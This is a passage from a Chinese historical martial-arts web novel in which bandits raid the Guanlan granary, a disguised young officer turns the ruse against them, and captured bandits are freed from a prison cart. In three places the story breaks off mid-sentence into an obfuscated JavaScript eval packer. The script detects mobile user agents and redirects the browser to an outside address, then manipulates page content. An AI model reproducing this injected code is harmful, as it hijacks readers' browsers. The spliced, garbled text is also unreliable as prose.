楚珩大赖赖坐在窗上,陷入无尽的怅然,一只鸟叽喳两声,落到悬挂铁马的横木上。逮住了从天而降的听客,楚珩开口说:“姜长鹰——可不是吗,但凡派到他头上的差事,无论大小,他肯定是办的稳妥。”鸟儿不知眼前人嘀咕了什么,偏着脑袋拿一只眼睛打量楚珩。就好像有回应,楚珩盯着这个小生命继续说:“纵然是从云里跌落泥潭,这位姜大人,还是这般天真。以为在其位谋其事,就能成事,真是可惜了,谁能想到最终等着他的,却是这样的结局,本以为从一代名将变为地方末流小官,失去战场失去兵权,籍籍无名了此残生已经够残忍……”喃喃自语的楚珩已经近似苦笑,他叹了口气,“哎——我、其实我最不喜欢伤及无辜,也最瞧不上赶尽杀绝,落井下石,今日之事,我突然觉得我比我那九五之尊的皇兄,还要面目可憎。”苦笑变成低声自嘲。 横木上的鸟正了脖子,背过身,扇了翅膀飞走了。 ****** 坞城观澜港近年来新修了防御工事,以粮仓为中心,分为外栅和内栅。外栅囊括整个观澜港,和将士集营。内栅则是粮仓百米范围之地,并在东南西北四角设立高脚望风楼。江出把曾今斥候出身的将士挑了一部分,布设在此。 此日风烟俱净,观澜港边,将士们轮换守仓,各司其位,被替换下来修整的队伍朝坞城外的集营里走去。黄其甫领着一队人马,打外栅走进来,以粮仓为中心,把观澜港里里外外要紧处都看了一遍,才回到集营。 “大公子。晌午了,粮仓那边……”黄其甫见案上人先是一愣,接着恭敬的行了一礼。“明先生。” “黄小将军回来了,粮仓那边如何?” “明先生放心,一切正常。” “每过一个时辰轮一次岗,这些将士们着实辛苦了。” “这都是属下们该做的。”听到关怀之语,黄其甫抬手行了一礼,“只是……” 主案上的明先生抬起头,鬓边散落两缕青丝,将一身英气收进了文秀里,倒显得格外沉稳可亲。“黄小将军不必担忧,今日你的小主子家中有事,就由我替他守着,你们照常当差,有任何事情,向我来报即可。” 黄其甫有少顷的迟疑,但还是说:“属下明白,属下遵命。” ****** 瑞城到云城不过七日路程,三百骑兵浩荡前行,眼看就要到云城,五名土匪的囚车夹在行伍中央,捆拥在狭窄的囚车内,几人面容憔悴,苦不堪言。虽已过深秋,但在云城界,烈日当头,依然闷热,行至一狭长河流边上,姜长鹰命队伍停下稍作修整。 “哎——”囚车内,土匪天力忍不住低声叹息道:“第一次当土匪,竟然遇到了朝廷下来的巡按御史,就地发配充军,我可真的倒了八辈子霉。” “谁说不是,咱们行走江湖好歹也行侠仗义过几回,不想抢个孩子立马就被抓了。不过我说至于吗,五个人要劳驾几百号人押送,是不是太看得起咱了。”另一个叫阿祈的土匪也跟着抱怨起来。 “几百号人到是其次,那可是姜长鹰,曾经的季鹰军统帅。这么一想,这土匪当得值了。”这位居然得意起来。 “催曾恶,你是不是又在犯蠢,咱们这可是在流放的囚车里,不是加官进爵的轩车。”那位被江出亲手抓住的黑胡子土匪终于不耐烦的骂道。他叫阿麦,此刻边骂边在囚车上蹭着同样被李墨馨咬出的伤口,太阳底下,那小小的伤口隐隐发痒。 “麦哥,你说山君老爷什么时候会知道我们被抓了,知道了会不会来救咱啊。” 问话的叫阿裕,和催曾恶一样看着不过十六七,黑胡子陡然有了长者的柔情:“好阿裕,有哥哥我在,不会让你有事的,咱几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“坞城那边,恐怕就要一团乱麻了,二爷不便露面,等会我进城探听消息。”昔闻抬头,“这天儿也要下雨了,穿过这片山林,能到坞城浮虚观,二爷在那等我罢。” 罗途明微微仰面,透过头顶的绿色叶盖看向如晦的天空。 “是啊,要下雨了。”罗途明伸出一只手,虚探这空气中的潮湿…… ****** 哒—— 一滴雨拍在掌心。 雨水里渗着的微末寒意在沈溟看来可以忽略不计。 坞城西城墙,沈溟不觉已在这站了多时。倏忽头顶一暗,在雨成势之前,被伞挡了个干净。 “回去吧!”撑伞之人轻声劝道。 沈溟垂下手,攥住袖口,将掌心的雨水揉进衣裳里。“你猜,姜家大公子能守得住外栅多久?” “淮奚③开始肯定会死守,但是顶多一刻钟,也就败下阵来。” “才一刻钟?” “真实情况肯定不至于,别说死守一刻钟,淮奚肯定会全力退敌于栅门之外方会罢休。不过他才十六,实力也不为人所知,佯装挺个一刻钟足以。” 沈溟看着丁越,见他眼里藏不住骄傲之色,好奇道:“姜南阗年纪轻轻,这么厉害?他有很厉害的师傅?” “师傅?有指挥史这样的父亲,还需要什么厉害师傅?” 沈溟挑了挑眉,“我也有两个徒弟,虽然年纪还小,不过一个绝顶聪明,一个武学天赋卓然,可不比姜家公子们差。”说完还是不服气,“姜大人在你眼里真就这么完美,无人能比?” “指挥史于我而言,如师如父——”丁越撑着伞,大半都偏向沈溟,“况且我当年也是亲眼见过指挥史在战场上的风采的,虽然现在远离北境,但是姜大人在我眼里从未变过。指挥府里那些跟随他下江南的旧部,不仅仅是听命于他,还有着生死相随的袍泽之情。” 沈溟理解,这段日子也深刻感受到姜长鹰和部下之间的默契非一般上位者和下属能比,此刻听丁越坦言,仍觉触动。 “御史大人,淮奚和我们几个年纪相仿的护卫从小除了练就身上功夫,也热衷于研习用兵之道,每年淮奚都会去云城待一阵子,最开始是跟随指挥史去云城向邢柏年汇报守备军军务,云城段将军,也很喜欢我们,此后每年,淮奚和我便完全代替指挥史去云城报备,顺便在段将军军营待一阵子,学一些军务和用兵之道。” 沈溟点点头“所以今年姜大公子和你打从云城回来,就恰巧早早的发现了水患,也能及早上报朝廷。”沈溟又想起在姜长鹰府上偶遇姜南疏和姜南羿的事。“姜大人的孩子个个出挑,真是虎父无犬子啊。” “是啊,所以御史大人不必过于担忧。” 原来这小子是在宽慰自己。沈溟好笑道:“你哪里看出来我在担忧了?” “既然无甚担忧,那就别站在这雨中了。” 沈溟并不听劝,双眼迷离只是看着城墙之下。秋风过境后,吹走了云,方才的雨势转小,细密的雨点变成了雨雾。丁越欲再开口,只听沈溟轻轻说了声:“你看——” 透过浓密雨雾,沈溟示意之处,一队人马穿场而过,紧接着是第二队,第三队……第七队。马蹄声杂沓,呼啸着直往观澜仓奔去。 11.侵袭(上) 七股人马直袭粮仓而来。 观澜仓望风楼响起了第一声号鸣,接着在漫天角声里,黄其甫陈兵列马,这是他第一次不是演练,而是在真正的敌人面前做这些,将士就位,黄其甫转身走进了主帐内。 此刻帐案几前坐着的,是一位青衫先生,此人斯文儒雅间着几分英气。黄其甫并不了解他,只知道他叫明先生,是今夜观澜仓一切命令的发布者。然而此刻这位明先生却没有要下达指令的意思,只是一派怡然的喝着坞城的夏茶。 黄其甫绷紧了脸皮,眼里尽是蓄势待发。 明先生吹了一口手里的茶沫,才抬眼看向黄其甫,笑了声,“别急孩子。” 黄其甫终究耐不住性子,“明先生——” 明先生搁下杯,抬手示意黄其甫噤声。外面的声浪逐渐高起来,集营中的将士们开始骚动。没有命令,谁也不敢轻举妄动。 “黄参令还不出来。” “明先生还没发话?” “贼人都要直接闯进来了……” 众人越发慌张,一将士转头小跑进了营帐,也不看人就跪下,垂首急道:“明先生,黄参令,贼子逼近,快发令迎敌吧。” 黄其甫闻言再次看向明先生。 明先生问跪着的兵:“他们离外栅还有多远?” “不,不过百步而已了吧。” —————— 天渐渐暗下来,晡时将尽。 侵袭的人马乌泱泱逼近外栅,为首的壮汉勒马,打了个手势,后面浩浩荡荡的队伍也停下来。 外栅是用坚实的树木虬结形成屏障,顶端皆削矬成枪,凌厉的尖刺盘聚成花,看作用类似拒马,但比起拒马,外栅的围栏更让人望而生畏,怕就连暮北野性难驯的烈驹也不敢纵身跨越。 众人暗叹,这观澜仓远看像是不堪一击,没想到这木围搭得倒是巧妙,但是这样湮灭气势的话没人说出口。 木栅也有劣处,里外情状一览无余。看到里面严阵以待的将士,壮汉边上的长脸男人开口道:“居然早有准备,莫非是早就知道我们的计划了?” 壮汉轻哼一声,“虽然有所动作,但看他们频频回头,瞻前顾后的样子,分明是心里没底,不知道下一步作何打算。刚刚溜进主账内的小兵你瞧见了吗?恐怕是个胆大的前去请令去了。” “那,我们不如即刻闯进去,杀他们个措手不及。” “杀?真杀起来我们恐怕占不到多少便宜,尽管姜长鹰的兵都分派去各城赈灾,但是守着观澜仓的这些人里大部分仍是曾经的暮北军,可不容小觑。” 壮汉朝内栅粮仓的地方看了看,“有望风楼,还有号角,号角一响,排兵列阵。哪里是早有准备,这分明是他们平日里操练的章程,看来姜长鹰真是拿出打仗的劲头守护这粮仓啊,” “大哥,现下我们该怎么办?” “按事先定好的来。抢到军粮要紧,让大伙准备爆鸣石。” 长脸男立即转身招呼。后面的队伍打马上前,原来这群人身上都绑着一棉布制成的软兜,走到最前面,一字排开,伸手从软兜里拿出拳头大小的黑色圆球。 “投——” 黑色的爆鸣石齐刷刷的扔进栅内,集营外的将士对此这个黑色的圆球不熟悉,个个闪躲之余顺带不停的叫骂。 “你们这帮孙子,是不是忘记带投石机了?小细胳臂别拽吧折咯。” “他们估计都不知道什么是投石机吧。” “爷爷我当年用投石机扔的石头有半人高,你们扔这小石子给你爷爷我挠痒痒呢?” …… 待第一波人将软兜里的爆鸣石扔完,另一波紧随其后替补上。 栅内的将士在黑压压砸下的爆鸣石中乱作一团,但士气未挫。长脸男狠狠的啐了一口,“呸,打过仗又怎样,今天让你们尝尝爆鸣石的厉害。”他率先举起一团火把,在细密的雨雾中,火把的火势却仍然强劲,接着便是狠狠一掷,火把落进栅内,被点燃的爆鸣石炸裂开,伴随着飞蹿的火药,有将士应声倒地,哀嚎不已。 未待众人反应,将士们头顶闪过道道红光,抬头,铺天飞来的是火把和黑色的圆石。 “还在扔,快往里撤——” 将士们扯着受伤的人往后撤,一边防备着飞溅的火药。 “明先生呢?” “还在账内,黄参令也在里面!” “护好营帐——” 将士们你一言我一语扯着嗓子胡乱的交流着,尽量稳住阵型。 “我忍不住了,他们耳朵多少有点不好,外面炸成这样,他们里面还没个动静啊?”一膀大腰圆的将士囫囵着嗓子抱怨道。 “刘七,都什么时候了你还口无遮拦。” “这都什么时候了还遮拦个屁。” “你……” “——兄弟们,明先生有令,都撤到内栅。”钻进主帐的将士终于出来,站在帐前的木台上高喊。 “刘六——”刘七见自己哥哥终于出来,直着脖颈喊道:“怎么半天也不出来,那位明先生说了什么。” 刘六看见人便走过去,说话间便已经到刘七等人跟前,众人齐刷刷看向刘六,等他传令。 “明先生有令,撤到内栅,带上受伤的弟兄,其余人配好护甲,准备迎敌。” 嘭—— 话音未落,火花四溅,地上的火药还在陆续引燃。众人齐刷刷掩头退后,“快撤到内栅,快——”刘六喊道。 将士得了令也不耽误,迅速往里撤。刘六兄弟两并肩留在最后,回首之际,贼人的爆鸣石已经投完,一地的火药陆续燃烧爆裂,外栅燃起熊熊大火,噼啪声里,木围筑造的防御正在坍塌。 —————— “大哥,外栅要撑不住了,他们果然要跑到内栅了。”长脸男欣喜道。 为首的壮汉轻哼一声,“内栅?进了内栅,就是个……”一个“死”字还没说完,一声号角划破天空,是粮仓望风楼传来的。 壮汉扬了扬下巴,长脸男会意,走上前一脚踹塌了还未烧烬的木栅—— “上!” 贼人皆翻身上马,乌泱泱向栅内涌入。 里面的将士们撤到半途便听见号角,有人不明所以:“怎么号子又响了?” “因为他们攻进来了,一定要抢在他们追上之前关上内栅的门。” “可是他们有爆鸣石。” “方才攻外栅,他们的爆鸣石已经用光了。” “不管他有什么,我们一定要守住内栅。” 慌乱中,将士们这个一言那个一语的说着。 “别说了,快撤!” “快进去。” “快进内栅。” “关门!快关门!” 贼人骑马已经迫近。刘七最后进入内栅立即和守门的将士一齐顶上门。但为时已晚,长脸男弯刀一劈,直削掉闸门顶端上的数跟尖刺,弯刀则横在即将合上的栅门中间,后面的贼人见状便前赴后继的撞上来。好在刘七力大无穷,使出浑身的劲,堪堪将门堵住。 双方焦灼,个个憋红了脸,一时间这局面竟是破无可破。 “哈哈哈哈,白费力气——” 粗犷的笑从门口这群贼人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132847|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后方传来,骑在马上淡定从容的壮汉贼首笑道:“方才号角响了,你们没听到吗?见你们这帮蠢货此时还在负隅顽抗,我便不妨好心告诉你们,那号角实则是在给我们传递消息。” 刘七等人也不抬头,只能一味死守,只期待那贼子是在危言耸听,好男儿绝不可上当,更不可能乖乖等死。 但是下一刻,刘七的心就在一阵沉闷零碎的脚步声中坠入冰窟,紧接着是“噌”的一声,利剑出鞘,刘七微微瞥过脸,架在脖颈上的刀反射出的光刺向他的眼睛。 完蛋了,内栅早就沦陷了,刘七才明白壮汉贼首所说的号角是给他们传递消息是何意。外栅攻势迅猛也是为了吸引兵力,让内栅疏于防守。腹背受敌,这门顶不顶已经不重要了。 周遭先是一阵沉默,紧接着是一阵叹息。在众人窸窸窣窣中,忽听当啷一声——刘六率先扔掉了手里的刀,低下了头。见此情形,有人麻利的跟着扔掉了手里的兵器,尚有犹疑者,在边上“聪明人”的眼色中也终于“认命”。有人干脆夺过边上人手里的刀,瘟疫似的丢在地上。 刘七憋着火,心道自己好歹是季鹰军出来的,没成想今日栽在这小阴沟里。也没想到平日里血性十足的同袍,尚未和敌人一战就束手就擒,而这带头认怂的居然是自己的亲哥哥。浑身血液一阵沸腾,一下一下涌向颅顶。也顾不得别的了,今日他刘七只求个鱼死网破。只听刘七暴呵一声就要用头去顶持刀人的小腹。不料那人不慌不忙稍稍闪躲,紧接着朝刘七背脊添了一掌,刘七一个趔趄闷哼扑倒在地。还未起身冰凉的刀已再次搁在脖颈。 “蠢货,这般莽撞,当心小命休矣。” 这声音从头顶传来,刘七先是一愣,想抬头去看那人的脸,却被旁边的属下一脚踩下去,“老实点。” “你是——昔爷?”长脸男走过来,扫了眼内栅这波入侵者们,又看向领头的,此人长身玉立,健硕挺拔,着青黑夜行衣,绸巾绕颈,在胸前松垮的系了个结,虚虚的掩住了小半张脸,黑夜里,仍可见眉目清明,眼眸含光。长脸男不禁脱口道:“怎的这样年轻?” “我不是昔爷,这场面还用不着他亲自出马。有志不在年高,我是谁不重要,重要的事,今晚,我得完成使命。” 长脸男还想再说,身后壮汉伸出刀柄将他拨到一边,仔仔细细的将这个素未谋面的盟友看了遍。其后悠悠的说:“我的使命是军粮,敢问你的使命是什么?” “护送军粮。” “哈哈哈,劳烦大人,我是怕,咱们不同路啊。” “那你是要同我打个商量?还是,求我?”此刻少年淡然清澈的嗓音尤显出话中轻蔑之意。 “狂妄——”长脸男怒喝。 领头的黑衣少年并不理会,转过身看了眼地上的刘七,又看向刘六等人的所在,说:“我的兄弟们今晚辛苦,就由你们运粮吧,其余人继续装点。”说完迈步朝栅内走去。 顺着少年的方向,壮汉和长脸男这帮人才意识到,粮食并不在自己手里,而是被这群人捷足先登抢到了,争执是徒劳,只能乖乖跟着一起护送粮食。 “大哥,咱们现在只能跟着他吗。”长脸男压低声音对壮汉道。 “军粮在他手里,且看他走的方向,分明是从后方打穿了防守,现在观澜仓的军粮能直通观澜港了,这样看来和邢大人所说的计划路线相同,跟他走也无妨。” “虽然我们在前方吸引了火力,但是此人短短时间能顺利攻入粮仓,抢到粮食,也是个厉害的。” 壮汉眯起眼思索了阵,末了对长脸男叮嘱道:“待会放机灵点,见机行事——” 12.侵袭(下) 雨停了,起风了,对刚刚经历过一场激战的众人来说这夜尤其冷。晚风寒凉,吹在身上,刺得伤口生疼。然而这风掀起的海浪拍在停泊于观澜港的几艘大船上,却尽显无力。 “有船!” “果然有船。” 惊呼的都是壮汉部下。 “大哥,邢大人果然有后手。”长脸男亦喜,“待会我们随船去瑞城,把军粮……” “嗯?”长脸男未说完,壮汉贼首立刻把目光刀向他,长脸男会意噤声。 壮汉看向黑衣少年,他面色如常,看景般的看向船舶。少顷,船上终于下来一波人。 都做码头苦力和水手打扮,带头的像个水手,扫了眼面前这两拨人,最后看向为首的黑衣少年:“货到了?齐了吗?” “到了,没齐,后面还在运,全部运走是不可能的。”黑衣少年答。 水手打扮的领头人把黑衣少年上下打量了番,少年浑不在意,只说:“还不搬吗?” 水手愣了愣,黑衣少年转头看向壮汉,“不是你的使命吗?” 壮汉反应过来,窜上一股火,众目睽睽被个小子颐指气使,脸色挂不住。但壮汉明白,自己只是土匪,而黑衣少年及接应的水手,背后的主家均是朝中势力,权势都在邢柏年之上,抢军粮自己只是打掩护,军粮没过自己的手,让他一路不安,此刻让他搬运,诚然比插不上手要好。壮汉咬了咬后槽牙,冲长脸男打了个手势。 十几艘大船一字排开,装运并不一船一船有序进行,而是齐刷刷动工,这是赶时间的好法子。 呼呼啦啦,观澜港一时间充斥着车辙声。 “好生热闹啊。”刘七满脸还糊着泥,看着来往运粮的贼人感叹道。 “是啊,今晚的观澜港肯定是十分的热闹。”刘六跟着说,语气里却带着坚毅。然而下一秒,刘六就吃了刘七一记暗拳。“啊!”刘六腰腹阵痛,一脸诧异看向给了自己一拳的刘七。“弟弟?你……” “我不是你弟弟,哼!”刘七下巴一扬,站远了。 刘六捂着肚子喃喃道:“明明是你太笨了。” 第一波粮装运很快接近尾声,壮汉和长脸男安了心,至少坞城这趟一切顺利。 “后面的弟兄还要多久?”水手走向黑衣少年问。 “快了。” “昔爷的意思,不能太少,但也无需太多。能把戏演好就行。” 黑衣少年蹙了蹙眉。戏? “两位大人,”说话间,壮汉走近,“装运的差不多了。不知大人运第二波粮的兄弟是否紧跟着就到了?” “你很急?” “我……” “急的话不妨让你的人回头去接应,或是回粮仓那边搭把手。”黑衣少年看向壮汉贼首。“还是说,你怕回去了,会碰上姜家的援兵?” “我怕,难道你不怕吗,观澜仓闹出那么大动静,姜家援军估计也快到了,即便人手不够,但真打起来,恐怕无论是大人的人还是我的人,都讨不了好。” “那不如见好就收,带上船上这些就走?”水手见二人争执,插话道。 “不行。”闻言壮汉立刻反对道:“这么点军粮根本不足筹码。” 筹码?黑衣少年内心狐疑。 “筹码?”水手却也直接脱口问道:“难道你知道后面的计划?” “当然。”土匪壮汉不假思索答。 水手即刻惊讶的看向黑衣少年。“你告诉他的?” 黑衣少年面色似水,平静淡然迎接着水手的目光。 壮汉莫名其妙道:“什么他告诉我的,我本来就知道。”忽而觉察异样,反应过来,冲黑衣少年道:“大人?我可能真不知道,不如你现在告诉我?” 壮汉疑心顿起,水手的目光也未曾从黑衣少年脸色挪开。黑衣少年缓缓开口,声色如常道:“二位何必着急,再等一波粮,筹码,就够了。装整完,即刻启程。” …… 少顷的沉默,壮汉眉宇松动,水手也把目光挪开。 黑衣少年几不可见瞳孔微动,还未松口气,壮汉接着开口道:“大人,你说今夜运粮,船行几时能到?” 黑衣少年面色镇定,心下百转。 “大哥……待会我们随船去瑞城,把军粮……” 黑衣少年脑中闪过先前长脸男和壮汉的对话,抓着这个不确定的线索回答:“今夜北风起,顺流而下,很快便可到瑞城。” 像是什么刺中经脉,水手倏忽抓紧了腰间的刀柄。 壮汉贼首则截然相反,他放松警惕,点了点头,说:“话是如此,但大人这第二波人马,怎么还没露头啊?” “露头了!”边上的水手沉声道。 众人皆转身看向身后,果见光影里,乌泱泱一队人马朝观澜港涌来。 噌—— 刀摩挲刀鞘的声音尤为刺耳,海风袭来,裹挟着杀气,寒意直击黑衣少年的心肺。黑衣少年本能的拔剑回旋,当啷一声,挡掉了水手忽然从背后刺来的剑。 “嗯?”壮汉瞪大眼,不知状况。 “去瑞城?呸!你不是昔爷派来的人!”水手肯定道。 “嗯?”壮汉皱了皱眉,看向黑衣少年。 “是瑞城。”黑衣少年没有多余的争辩。 “嗯?” “你除了哼哼不会别的吗?”水手看向壮汉骂道:“长这么壮硕,没脑子?” “你他妈你才没脑子。”壮汉闻言大怒,举起刀就砍向水手。还未近前,就被踹翻在地。 “不仅没脑子,还没本事,我就先杀了你这个废物。”水手挥刀欲想了结眼前这个一无是处的贼子。忽觉手腕一阵酥麻,长刀落地,剧痛沿着手臂传来。水手痛苦的捂住流血的右手,愤然望向黑衣少年,只见他面色沉着,手里扔攥着一枚袖刃,做蓄势待发状。 远处哗然响起打斗声,众人惊呼姜家援军到了,原来方才水手他们看见的走过来的人马并非运军粮的人,而是援军。港口边的贼人听闻是援军,全无斗志,第一反应便是抱头鼠窜,不成想刘七浑厚的声音如雷般响起,“坞城守备军在此,你们中计了,尔等贼子还不束手就擒!” 这边水手和壮汉心下已然明了,眼前这黑衣少年哪里是什么同谋,分明是要来把他们一窝端的姜府之人,而他装模作样运来的恐怕也不是军粮。 水手看了眼混战的人群,又看了眼黑衣少年,转了转眼珠,拔腿向船舱奔去。 黑衣少年立刻奋力追击。水手甩不掉他,只能硬着头皮一战。 跌坐在地的壮汉忽觉腋窝一紧,抬头一看,匆匆跑来的长脸男边拽起他边说:“大哥,中计了,咱还是赶紧跑吧。” “不,跑不掉了,我们只能走水路尚有一线生机,你,你快去,拿下那小子。只有拿下他,才能让昔爷的人与我们合作,一起乘船逃跑,也只有拿他做人质,才能让这帮姜家的兵放过我们。” “那小子,能做人质吗?” “能!”壮汉狠狠的看向长脸男。“若我没猜错,他应该是姜长鹰的长子——” —— “大公子呢?”黄其甫骑着马跑向近海处。 刘七给了边上妄图逃脱的贼人一脚,抓鸡似的擒住,抬起头看着马上的黄其甫,“黄参令,大公子他……” “小心!”刘七话未说完,黄其甫厉声喊道。 刘七回头,一土匪骑马飞奔,举刀直逼刘七而来。“完了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139201|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是刘七当时的唯一的念头。 倏忽马上土匪动作凝滞,随即便滚落马下。 一人驭马飞驰而过,还未看清,人已经跑向海边。 但刘七还是认出了他,“明先生?!” 近海边身着黑衣的姜南阗与水手缠斗几招便占了上风,水手想逃向船仓,都被姜南阗堵了回来。水手不顾手腕的伤,捡起地上的刀奋力一搏,疯狂砍杀全无招数,姜南阗不紧不慢避让几次便寻了个破绽,举剑格挡,破掉攻势,抬腿招呼在水手胸口,水手踉跄倒地,捂着胸口呻吟。 姜南阗朝水手走去,忽觉背后有异,战场上的敏锐警觉让姜南阗避开了长脸男的致命一击,在长脸男震惊刹那,姜南阗手里的袖刃决然一掷,立即转守为攻。 长脸男躲开袖刃,“奶奶的,小毛孩有两下啊,怪不得云城段悠宏那般看重你。” “那倒是没有阁下看重我,头一次见,就被阁下和你的主子一口一个大人的叫着。” “狂妄竖子——”长脸男气的脸色发青,刀锋密密麻麻的挥向姜南阗。姜南阗格挡避让,长脸男逐渐力竭,然而就在这时,一身影携住水手男便逃向船舱。 姜南阗微微分神,长脸男逮住时机,一刀用了十成力挥向姜南阗,姜南阗侧身垂下剑锋做势要挡住这一刀。 “哼——”长脸男嘴角抽动。 剑是挡不住这一刀的,结果肯定是剑断、人死。 然而下一个瞬间,长脸男怒目圆瞪,双瞳里,映出迎面飞来的一脚,接着天旋地转,长脸男倒地再无动静。 刚刚驭马飞奔而来的明先生骑在马上,勒马停在不远处,远远看见姜南阗剑锋点地,整个人仅凭这微妙的力打横跃起,抬脚直击长脸男面门。 “好身手啊!”明先生刚赞叹完,却立刻笑不出来了。 撂倒长脸男,姜南阗头也不回的追进了船舱。 船舱昏暗,姜南阗掀帘入内,就在此时,侧面一剑袭来,欲穿其咽喉,姜南阗转身挥剑,险险躲过,这才隐约瞧见偷袭之人头戴幂篱,看不清长相。 “何人?” “小孩,你这么能打,我倒是愿意陪你过几招。”言罢紧握剑柄上扬,竟从下而上再次直刺向姜南阗咽喉,这角度刁钻,来不及多想,姜南阗只能后仰。戴幂篱的男子立即转身乘前一步,左手握着短刀对准姜南阗袒露的胸腔狠辣的落下,姜南阗后仰的动作本就是情急之下避险的招数,此刻全身重心皆在悬空的腰上,没有借力之所,除了挨下这一刀,只剩下倒地伏诛,看来不过是早一步死和晚一步死的区别。 不行,不能怯懦!姜南阗在这一瞬思绪百转,索性把剑一扔,双手握住那持短刀的左手,借势一个翻身避开刀锋,和那男子贴肩并立。男子左手被姜南阗擒按住,右手握着剑又向站在自己左边的姜南阗刺过来,姜南阗松开他的手欲退避剑芒,不想那只脱困的左手反而顺势揪住姜南阗胸前的稠巾。 剑锋将至,此刻姜南阗也没了辙—— 闭上眼,只听叮的一声,是铁器击打的声音,然后有力的手掌托住姜南阗的后背。 “明先生!”姜南阗又惊又喜。 “明先生?你是沈溟?”戴着幂篱的男子听见姜南阗如此称呼突然赶来的人,下意识问道。他右手的剑已经被明先生格挡掉落,此刻捂着左手手腕,鲜血渗出。 “大晚上的,阁下带着个幂篱,就不怕看不清路,认不清人吗?”明先生说完抬剑就要去挑落那人的幂篱,那人早做脱身之势,拽起角落里受伤的水手夺窗而逃。 明先生和姜南阗立即奔向窗边,原来大船另一侧,三只轻舟早已候在那里,两人上了其中一条船,三只船便齐刷刷灭了灯向黑无边际的海面飘去。 13.退敌(上) “多谢义士救命之恩!” 船舱里,昔闻扯了一片衣角,徐徐的缠在自己受伤的手臂伤。他没抬眼,只是说:“本是听我命令办事,怎可教你白白送了性命。” 水手挣扎起身,不可置信,“您,您是昔爷?” “我派去观澜仓的人没有传回消息,意识到不妙,我便赶过来看看,你知道其中关节吗?” 水手摇摇头,“我听从昔爷之命来接应,知道昔爷的人会带着军粮同我汇合,但是,恕小人眼拙,错把那黑衣少年当成了昔爷,想来,他应是姜长鹰手下的人,也必定是他抓了昔爷安排在观澜仓的人,还将计就计冒充昔爷,佯装来与我接应。” “不能全怪你,谨慎起见,之前我一直都是通过死士和你联络,这反倒让人钻了空子。”昔闻拾起地上的刀,重新别进自己腰间,做完这些才抬眼看向水手。“阿暂。”昔闻轻喊了一声他的名字。 阿暂,江南东海一带渔贩头领。所谓渔贩,干的并非捕鱼贩渔营生,只是假借渔业从事水陆两地黑色买卖,而头领阿暂看着老实精干,实际却极能凝聚帮内势力,甚至随着“生意”的扩大还发展出了一批死侍。 昔闻定睛深深看向阿暂,阿暂在这样的注视下鬼使神差般挺直了腰背。 “我知道你在江南一带的实力,也知道这些年你的人在江南的所作所为,你有没有想过,你和你那些部下的将来之路?” 阿暂知道这是招揽,也知道昔闻背后之人大抵是在朝廷,多年浸淫江湖使他明白,无论是接受与否,昔闻背后的正主是绝对的秘密,至少当下是,所以他没开口问。 阿暂微作沉吟,转头看了看轻舟外的海面,漆黑沉寂,月色也无,唯有船舱内一柄瘦烛闪着微光。今夜若无昔闻,自己早就是阶下囚。 他遽然埋首,双手撑在身侧,半卷的袖管露出结实的手臂。“阿暂今后,甘唯昔爷马首是瞻。” ****** “这人应该就是他们口中的昔爷。”姜南阗手中把玩着船舱中拾得的短刀,同及时赶来的明先生并肩而行,揣测道。 明先生微微颔首,“这个昔爷应该是认识沈溟的,但是好似并不十分熟悉,否则船舱内虽然昏暗,却不至于将我错认成他。” “明先生和御史大人应该是十分熟悉的。” “哦?” “否则怎会如此自然的直呼御史大人之名。” 明先生并未否认,只是微微一笑道:“走吧,咱们该去和这位智谋无双的御史大人汇合了。” 今夜观澜仓大捷,姜南阗骑在马上,看向海面漆黑混沌深处,内心暗道:“观澜仓尚且如此凶险,不知父亲,现在怎样了。” ****** 姜长鹰扎营于云城东侧郊外,太阳未落山,姜长鹰便令将士进行补给。囚车里的土匪也吃饱了,伴着夕阳缓缓入睡。 土匪阿麦是在一阵打斗声中惊醒的,周遭漆黑一片,远处火光盈天,阿麦立即喊醒旁边的阿裕等人。 “阿裕……崔增恶……”费劲喊了半天,阿裕、崔增恶和阿祈相继醒来,唯有年纪最小的天力没有反应。 “我们怎么在林子里?”阿裕揉搓着眼睛,借着火光意识到此刻他们被安置在丛林之中。 守在不远处的四名士兵听到动静,立即跑过来,喝道:“老实点,别出声。” “军爷,我们这是在哪啊?” “让你别出声,不该你问的别问。” “天力,天力……”崔憎恶试图叫醒一直没醒的天力,却怎么喊也不见天力有动静,几人立刻意识到异常。 “我兄弟到底怎么了?”阿麦粗犷嗓音的不置可否的询问。 几个士兵相互看了一眼,并未接话。崔增恶直觉这肯定有蹊跷,一时也顾不得自己囚徒的身份,追问道:“我们虽是匪,好歹犯得还不是死罪,人说季鹰军军纪严明,却不想在押解囚犯途中忤逆作乱,就不怕东窗事发,朝廷问责吗?” “你胡说什么,我们……”话未说完,该将士徒然倒地,边上几人未及反应,随着几声闷哼,也都纷纷倒下。紧接着几名黑衣人闪身飞到囚车旁,抽刀对着囚车的锁链就是一顿猛劈。 囚车打开,阿麦等人才从愕然中稍稍回神,“你,你们是……” “麦哥。”黑衣人揭开面罩,喊了阿麦一声。 “朱伯?”深陷囚牢的几人又惊又喜。 